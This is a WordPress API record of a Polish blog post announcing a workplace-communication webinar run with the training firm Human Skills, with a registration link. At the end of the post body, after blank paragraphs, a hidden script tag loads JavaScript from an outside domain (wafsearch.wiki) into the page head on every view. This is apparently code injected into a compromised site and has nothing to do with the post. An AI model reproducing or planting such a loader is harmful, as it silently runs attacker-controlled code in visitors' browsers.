{"id":1514,"date":"2024-04-03T08:34:10","date_gmt":"2024-04-03T06:34:10","guid":{"rendered":"https:\/\/global-metodi.com\/?p=1514"},"modified":"2026-01-08T12:32:17","modified_gmt":"2026-01-08T11:32:17","slug":"otwarte-webinarium-moc-pozytywnego-komunikatu","status":"publish","type":"post","link":"https:\/\/global-metodi.com\/en\/2024\/04\/03\/otwarte-webinarium-moc-pozytywnego-komunikatu\/","title":{"rendered":"Open webinar THE POWER OF A POSITIVE MESSAGE"},"content":{"rendered":"<p>Ju\u017c w przysz\u0142ym tygodniu, 10 kwietnia zapraszam wszystkich na otwarte webinarium pt: MOC POZYTYWNEGO KOMUNIKATU- jaka semantyka buduje przyjazne \u015brodowisko pracy, kt\u00f3ry\u00a0 organizujemy wraz z warszawsk\u0105 firm\u0105 szkoleniow\u0105 Human Skills.<\/p>\n<p>Podczas godzinnego webinarium opowiem o\u00a0 tym jak \u015bwiadomym m\u00f3wieniem budowa\u0107 pozytywne \u015brodowisko pracy, w kt\u00f3rym przebywamy \u015brednio ponad 1\/3 swojego \u017cycia. Przyjrzymy si\u0119 zwrotom i s\u0142owom kt\u00f3re najcz\u0119\u015bciej nie\u015bwiadomie:<br \/>\n\u274c t\u0142umi\u0105 poczucie w\u0142asnej warto\u015bci<br \/>\n\u274c zabijaj\u0105 motywacje<br \/>\n\u274c niszcz\u0105 relacje<\/p>\n<p>Poznamy sposoby jak rozmawia\u0107 aby zbudowa\u0107 stabilny, zmotywowany i zaanga\u017cowany zesp\u00f3\u0142 kt\u00f3ry lubi ze sob\u0105 przebywa\u0107, a w praktyce dzia\u0142a efektywnie.<\/p>\n<p>Dlaczego taki akurat temat?\u00a0 \u00a0Bo:<\/p>\n<ul>\n<li>jednym z najlepszych czynnik\u00f3w motywuj\u0105cych i przyci\u0105gaj\u0105cych do naszych firm pracownik\u00f3w jest\u00a0 ATMOSFERA PRACY<\/li>\n<li>atmosfer\u0119 budujemy mi\u0119dzy innymi dba\u0142o\u015bci\u0105 o siebie na wzajem, s\u0142owem i postaw\u0105<\/li>\n<li>umiej\u0119tna komunikacja w firmie to najta\u0144szy dla pracodawcy czynnik generuj\u0105cy pozytywne postawy i dobr\u0105 wsp\u00f3\u0142prac\u0119, efektywno\u015b\u0107-&gt; zyski firmy<\/li>\n<li>komunikacj\u0119 stosujemy przy: delegowaniu i\u00a0 rozdzielaniu zada\u0144, udzielaniu informacji zwrotnej, dyskusjach- miejmy nadziej\u0119 zazwyczaj merytorycznych i konstruktywnych- na spotkaniach wewn\u0105trz firmy, z klientem, w korespondencji mailowej i rozmowach telefonicznych lub bezpo\u015brednich. Dobre praktyki przenosimy na grunt prywatny. Warto si\u0119 zatem jej\u00a0 nauczy\u0107 i\u00a0 m\u00f3wi\u0107 \u015bwiadomie!<\/li>\n<\/ul>\n<p>Zapraszam\u00a0 10 kwietnia 2024 o 12.00-13.00<\/p>\n<p>Link do zapis\u00f3w: https:\/\/humanskills2020.clickmeeting.com\/moc-pozytywnego-komunikatu\/register<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ju\u017c w przysz\u0142ym tygodniu, 10 kwietnia zapraszam wszystkich na otwarte webinarium pt: MOC POZYTYWNEGO KOMUNIKATU- jaka semantyka buduje przyjazne \u015brodowisko pracy, kt\u00f3ry\u00a0 organizujemy wraz z warszawsk\u0105 firm\u0105 szkoleniow\u0105 Human Skills. Podczas godzinnego webinarium opowiem o\u00a0 tym jak \u015bwiadomym m\u00f3wieniem budowa\u0107 pozytywne \u015brodowisko pracy, w kt\u00f3rym przebywamy \u015brednio ponad 1\/3 swojego \u017cycia. Przyjrzymy si\u0119 zwrotom i [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":1515,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"inline_featured_image":false,"footnotes":""},"categories":[83],"tags":[],"class_list":["post-1514","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-artykuly"],"acf":[],"_links":{"self":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts\/1514","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/comments?post=1514"}],"version-history":[{"count":2,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts\/1514\/revisions"}],"predecessor-version":[{"id":2039,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts\/1514\/revisions\/2039"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/media\/1515"}],"wp:attachment":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/media?parent=1514"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/categories?post=1514"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/tags?post=1514"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}